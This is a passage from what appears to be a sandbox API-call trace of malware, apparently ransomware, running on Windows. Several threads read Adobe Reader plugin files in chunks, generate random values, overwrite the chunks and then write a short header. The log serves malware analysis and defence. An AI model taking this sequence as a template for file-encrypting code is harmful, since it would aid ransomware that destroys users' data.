[0057.116] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0057.117] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0057.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d9f008 [0057.118] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0057.118] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcf0 [0057.118] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcf0) returned 1 [0057.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.119] WriteFile (in: hFile=0xd44, lpBuffer=0x12d9f008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x12d9f008*, lpNumberOfBytesWritten=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 [0059.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f008) returned 1 [0059.131] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.131] ReadFile (in: hFile=0xd44, lpBuffer=0x1957e820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x1957e820*, lpNumberOfBytesRead=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 [0059.135] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b18 [0059.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b18) returned 1 [0059.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19559008 [0059.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b18 [0059.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428af0 [0059.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428af0) returned 1 [0059.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.137] WriteFile (in: hFile=0xd44, lpBuffer=0x19559008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x19559008*, lpNumberOfBytesWritten=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 [0064.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19559008) returned 1 [0064.412] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x48663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.412] ReadFile (in: hFile=0xd44, lpBuffer=0x1957e820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x1957e820*, lpNumberOfBytesRead=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 [0064.413] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x48663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604b8 [0064.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0064.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19559008 [0064.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604b8 [0064.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0064.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0064.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.415] WriteFile (in: hFile=0xd44, lpBuffer=0x19559008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x19559008*, lpNumberOfBytesWritten=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 [0066.665] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19559008) returned 1 [0066.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48ddb0 [0066.665] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.665] WriteFile (hFile=0xd44, lpBuffer=0x441b28, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x17a2fe90, lpOverlapped=0x0) Thread: id = 926 os_tid = 0x1254 [0051.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api")) returned 0x20 [0057.070] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api", dwFileAttributes=0x20) returned 1 [0057.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe6c [0057.078] GetFileSizeEx (in: hFile=0xe6c, lpFileSize=0x17abf870 | out: lpFileSize=0x17abf870*=406115) returned 1 [0057.078] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x6325f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.078] ReadFile (in: hFile=0xe6c, lpBuffer=0x17abf7f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17abf7f0, lpOverlapped=0x0 | out: lpBuffer=0x17abf7f4*, lpNumberOfBytesRead=0x17abf7f0*=0x4, lpOverlapped=0x0) returned 1 [0057.082] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.082] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0057.082] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eddb8 [0057.082] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0057.082] NtQuerySystemTime (in: CurrentTime=0x17abf7d0 | out: CurrentTime=0x17abf7d0*=132174898210572000) returned 0x0 [0057.082] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x673aca0e [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x29fac7c2 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x3db94f8f [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x2b066873 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x777328c5 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x7a159cd7 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x68910f8e [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x7e48b60f [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x28f867ad [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x5e916cd8 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x47e03c6d [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x57b0efc5 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x44258716 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x7cff4175 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x26e8f503 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x77efc8f [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x79123db4 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x3e6659d6 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x33571a92 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x72fee307 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0xac16cc6 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x3f9ee3fa [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x538c7de7 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x35a854d [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x59c65886 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x47fcb609 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x489bf722 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x14f204c7 [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x5871f5df [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x3dcf5d2b [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x2d1119de [0057.083] RtlRandomEx (in: Seed=0x17abf7dc | out: Seed=0x17abf7dc) returned 0x62add2b1 [0057.095] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.095] ReadFile (in: hFile=0xe6c, lpBuffer=0x19565810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x19565810*, lpNumberOfBytesRead=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0057.097] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0057.097] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0057.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19572018 [0057.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0057.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0057.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd40) returned 1 [0057.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.099] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.099] WriteFile (in: hFile=0xe6c, lpBuffer=0x19572018*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x19572018*, lpNumberOfBytesWritten=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0059.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19572018) returned 1 [0059.126] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.126] ReadFile (in: hFile=0xe6c, lpBuffer=0x19565810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x19565810*, lpNumberOfBytesRead=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0059.132] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x32000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0059.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a50) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d9f008 [0059.133] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0059.133] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0059.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0059.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.133] WriteFile (in: hFile=0xe6c, lpBuffer=0x12d9f008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x12d9f008*, lpNumberOfBytesWritten=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0064.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f008) returned 1 [0064.408] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x56a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.409] ReadFile (in: hFile=0xe6c, lpBuffer=0x19565810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x19565810*, lpNumberOfBytesRead=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0064.410] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x56a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0064.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0064.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d9f008 [0064.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0064.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604b8 [0064.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0064.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.412] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.412] WriteFile (in: hFile=0xe6c, lpBuffer=0x12d9f008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17abf788, lpOverlapped=0x0 | out: lpBuffer=0x12d9f008*, lpNumberOfBytesWritten=0x17abf788*=0xc800, lpOverlapped=0x0) returned 1 [0066.666] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f008) returned 1 [0066.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48de18 [0066.666] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.666] WriteFile (hFile=0xe6c, lpBuffer=0x1989e9e0, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x17abf830, lpOverlapped=0x0) Thread: id = 927 os_tid = 0x1258 [0051.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api")) returned 0x20 [0057.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api", dwFileAttributes=0x20) returned 1 [0057.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd48 [0057.054] GetFileSizeEx (in: hFile=0xd48, lpFileSize=0x17c4fa40 | out: lpFileSize=0x17c4fa40*=430179) returned 1 [0057.054] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x6905f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.055] ReadFile (in: hFile=0xd48, lpBuffer=0x17c4f9c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17c4f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17c4f9c4*, lpNumberOfBytesRead=0x17c4f9c0*=0x4, lpOverlapped=0x0) returned 1 [0057.056] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0057.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed930 [0057.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0057.056] NtQuerySystemTime (in: CurrentTime=0x17c4f9a0 | out: CurrentTime=0x17c4f9a0*=132174898210416000) returned 0x0 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x603df55e [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x73f3a28f [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x68b31d3b [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x7f24d95 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x2b8c2992 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x51ffeb14 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x7282c1eb [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x1a193955 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x6a807d4f [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0xe379bc9 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x43a2a059 [0057.056] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x2efe7729 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x1e88b594 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x79b059b0 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x4f1d2cb8 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x4a9e9d05 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x70f68b48 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x170ba0 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x468470e3 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0xf6aa3b1 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x33187f0 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x34e30c72 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x78084c39 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x41c3ab3e [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x7a0ed456 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x38aae596 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x443739b [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x6d7d7289 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x5b5fd1fd [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x1af5fa [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x516efb61 [0057.057] RtlRandomEx (in: Seed=0x17c4f9ac | out: Seed=0x17c4f9ac) returned 0x36a49c22 [0057.069] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.069] ReadFile (in: hFile=0xd48, lpBuffer=0x196c4188, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x196c4188*, lpNumberOfBytesRead=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0057.070] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0057.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0057.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19559008 [0057.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0057.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0057.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0057.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.076] WriteFile (in: hFile=0xd48, lpBuffer=0x19559008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x19559008*, lpNumberOfBytesWritten=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0059.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19559008) returned 1 [0059.126] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.126] ReadFile (in: hFile=0xd48, lpBuffer=0x196c4188, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x196c4188*, lpNumberOfBytesRead=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0059.127] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428dc0 [0059.127] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428dc0) returned 1 [0059.128] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19572018 [0059.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428dc0 [0059.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0059.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a50) returned 1 [0059.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.129] WriteFile (in: hFile=0xd48, lpBuffer=0x19572018*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17c4f958, lpOverlapped=0x0 | out: lpBuffer=0x19572018*, lpNumberOfBytesWritten=0x17c4f958*=0xc800, lpOverlapped=0x0) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19572018) returned 1 [0064.403] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x5c863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.405] ReadFile (in: hFile=0xd48, 